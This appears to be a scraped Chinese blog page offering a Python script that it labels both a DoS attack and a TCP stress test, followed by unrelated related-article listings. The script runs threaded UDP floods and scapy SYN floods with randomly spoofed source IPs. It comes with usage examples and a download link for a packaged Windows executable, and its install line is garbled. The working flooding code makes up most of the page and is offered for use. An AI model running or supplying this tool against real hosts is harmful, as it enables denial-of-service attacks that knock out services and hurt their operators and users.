pip3 install string&&scapy
 1 #!/usr/bin env python
2 #-*-coding:utf-8-*-
3 import socket,random,string
4 import time,sys
5 from scapy.all import *
6 from concurrent import futures
7 class Dos:
8 def __init__(self,t_ype,sip,dip,port,pps,dos_time):
9 self.t_ype = t_ype
10 self.sip = sip
11 self.dip = dip
12 self.port = port
13 self.pps = pps
14 self.dos_time = dos_time
15 self.data=''.join(random.choice(string.ascii_letters+ string.digits) for x in range(10000)) #10000字节80k
16 def _udp(self,work_id):
17 count = 0
18 while count<self.dos_time:
19 try:
20 sk = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
21 sk.bind((self.sip,0))
22 sk.sendto(self.data.encode('utf-8'),(self.dip,self.port))# 8M
23 except Exception as e:
24 print(e)
25 time.sleep(0.01)
26 count+=0.01
27 def _tcp(self,work_id):
28 count = 0
29 sip = '.'.join([str(random.randint(1, 256)) for x in range(4)])
30 syn = IP(src=sip,dst=self.dip)/TCP(sport=RandShort(),dport=self.port,flags='S')
31 while count<self.dos_time:
32 try:
33 send(syn,verbose=0,inter=0.01,count=100)
34 except Exception as e:
35 print(e)
36 time.sleep(1) #100个tcp连接
37 count+=1
38 def run(self):
39 if self.t_ype.upper() == 'UDP':
40 func = self._udp
41 pps = self.pps//8+1
42 unit ='Mpps'
43 count = pps*8
44 elif self.t_ype.upper()=='TCP':
45 func = self._tcp
46 pps = self.pps//100+1
47 unit = 'Connetcions'
48 count = pps*100
49 work_id = [x for x in range(pps)]
50 print('''SourceIp:%s
51 DestiantionIp:%s
52 DstPort:%s
53 %s:%s %s
54 KeepTime:%sS'''%(self.sip,self.dip,self.port,self.t_ype,count,unit,self.dos_time))
55 with futures.ThreadPoolExecutor(100) as executor:
56 res = executor.map(func, work_id)
57 if __name__=='__main__':
58 try:
59 t_ype,sip,dip,port,pps,dos_time = (sys.argv[x] for x in range(1,7))
60 dos = Dos(t_ype,sip,dip,int(port),int(pps),int(dos_time))
61 dos.run()
62 except:
63 print('argv:')
64 print(' tcp/udp,SourceIp,DestiantionIp,DstPort,Mpps/Connections,KeepTime')
65 print(' SourceIp:TCP can be a fake IP,UDP cannot ')
66 print(' Mpps/Connections:UDP use Mpps,TCP use Connetcions ')
67 print('example:')
68 print(' ./dos udp 10.0.3.108 10.0.64.74 1111 10 5')
69 print(' ./dos tcp 1.1.1.1 10.0.64.74 1111 1000 5')
70
71
72 # 机器性能不足可以启用多进程
73 # from multiprocessing import Process
74 # def dos(sip,dip,port,pps,dos_time):
75 # pps = pps//8+1
76 # print('''SourceIp:%s
77 # DestiantionIp:%s
78 # DstPort:%s
79 # pps:%sMpps
80 # KeepTime:%sS'''%(sip,dip,port,pps*8,dos_time))
81 # for x in range(pps):
82 # p = Process(target=run,args=(sip,dip,port,dos_time))
83 # p.start()

windows 打包exe

链接:https://pan.baidu.com/s/1xkzZaWn9gw1b6W9AkavOzg
提取码:wq05

python DOS 攻击,TCP压测脚本的更多相关文章

  1. python join()方法的使用,可以应用到tcp压测发送指定数据长度的应用

    Python join() 方法用于将序列中的元素以指定的字符连接生成一个新的字符串.其中,序列中的元素应是字符串类型. 学习join()方法主要是为了配合随机数的使用,生产某个指定位数的随机数,在t ...

  2. 手把手用Monkey写一个压测脚本

    版权声明: 本账号发布文章均来自公众号,承香墨影(cxmyDev),版权归承香墨影所有. 允许有条件转载,转载请附带底部二维码. 一.为什么需要一个测试脚本? 昨天讲解了Android Monkey命 ...

  3. 一文揭秘测试平台中是如何将测试用例一键转化Jmeter压测脚本

    ​    ​接上篇,一键转化将接口测试平台测试用例转化成Jmeter压测脚本思路,这里我首先在java 上面做了一个简单的实验,看看 转化的中间遇到的问题,这里呢,我只是给了一个简单的demo 版本, ...

  4. python服务端多进程压测工具

    本文描述一个python实现的多进程压测工具,这个压测工具的特点如下: 多进程 在大多数情况下,压测一般适用于IO密集型场景(如访问接口并等待返回),在这种场景下多线程多进程的区分并不明显(详情请参见 ...

  5. jmeter压测脚本编写与静态文件处理

    一.压测脚本编写 概述:工具为谷歌浏览器-->F12-->Network,访问被测站点,通过其中的请求的地方来构造压测脚本 二.静态文件处理 概述:静态文件包括css/js/图片等,它们有 ...

  6. JMeter扩展Java请求实现WebRTC本地音视频推流压测脚本

    WebRTC是Web Real-Time Communication缩写,指网页即时通讯,是一个支持Web浏览器进行实时语音或视频对话的API,实现了基于网页的视频会议,比如声网的Agora Web ...

  7. ab压力测试工具-批量压测脚本

    ab(Apache benchmark)是一款常用的压力测试工具.简单易用,ab的命令行一次只能支持一次测试.如果想要批量执行不同的测试方式,并自动对指标进行分析,那么单靠手工一条一条命令运行ab,估 ...

  8. 无界面运行Jmeter压测脚本 --后知者

    原文作者---后知者 原文地址:http://www.cnblogs.com/houzhizhe/p/8119735.html [后知者的故事]:针对单一接口压测时出现了从未遇到的问题,设好并发量后用 ...

  9. nginx、php-fpm、swoole HTTP/TCP压测对比

    本次测试是在win7下docker环境中进行压测,共创建一个nginx容器.一个php-fpm容器和一个swoole容器,客户端请求nginx服务器,nginx接收用户访问请求并转发给php-fpm, ...

随机推荐

  1. 动态规划 洛谷P1048 [NOIP2005 普及组] 采药

    洛谷P1048 [NOIP2005 普及组] 采药 洛谷的一个谱架-的题目,考的是01背包问题,接下来分享一下我的题解代码. AC通过图: 我的代码: 1 //动态规划 洛谷P1048 [NOIP20 ...

  2. H.265

    Baseline支持I/P 帧,只支持无交错(Progressive)和CAVLC一般用于低阶或需要额外容错的应用,比如视频通话.手机视频等: Main支持I/P/B 帧,无交错(Progressiv ...

  3. 如何制作icon-font小图标

    1.首先可以去iconfont.cn阿里巴巴矢量字体库中下载你想要的图标(选择格式为SNG格式). 2.打开iconmoon这个网站(这个样子的),然后点击右上角那个Iconfont App如下图: ...

  4. es8(字符串,对象)

    es8(字符串,对象) 字符串补白: let str = "abc"; let a = str.padEnd(5); let b = str.padStart(5); let c ...

  5. C#编写一个控制台应用程序,输入三角形或者长方形边长,计算其周长和面积并输出

    编写一个控制台应用程序,输入三角形或者长方形边长,计算其周长和面积并输出. 代码: using System; using System.Collections.Generic; using Syst ...

  6. JavaFX入门及相关问题

    下个星期是我们专业的课程设计专周,主要是做一个Java的桌面应用程序,老师上课讲的是用Swing来开发图形化界面,但是听朋友说到一个可视化的图形界面工具JavaFX,本 人愚笨,弄了一天才大致调试完成 ...

  7. 攻防世界——gif

    分析 只有黑白两种颜色,大小均一样.考虑代表着二进制. python脚本 ''' 同样颜色的图片的二进制数据都相同 编写思路:取二进制 -> 转ascii码 ''' white = open(r ...

  8. Python入门-程序测试

    1.功能测试 常规测试 #常规测试代码,一个模块写功能,一个模块调用功能 #=============模块1:gongneng_ceshi def func(v1, v2): return v1* v ...

  9. IDEA 2022.2.1 Beta 2发布:新增支持Java 18、增强JUnit 5的支持

    近日,IDEA 2022.1的Beta 2版本发布了!下面我们一起来看看对于我们Java开发者来说,有哪些重要的更新内容. Java增强 随着Java 18的正式发布,IDEA也在该版本中迅速跟进.目 ...

  10. Spring相关的API-ApplicationContext

    1.ClassPathXmlApplicationContext 它是从类的根路径下加载配置文件推荐使用这种 public class UserController { public static v ...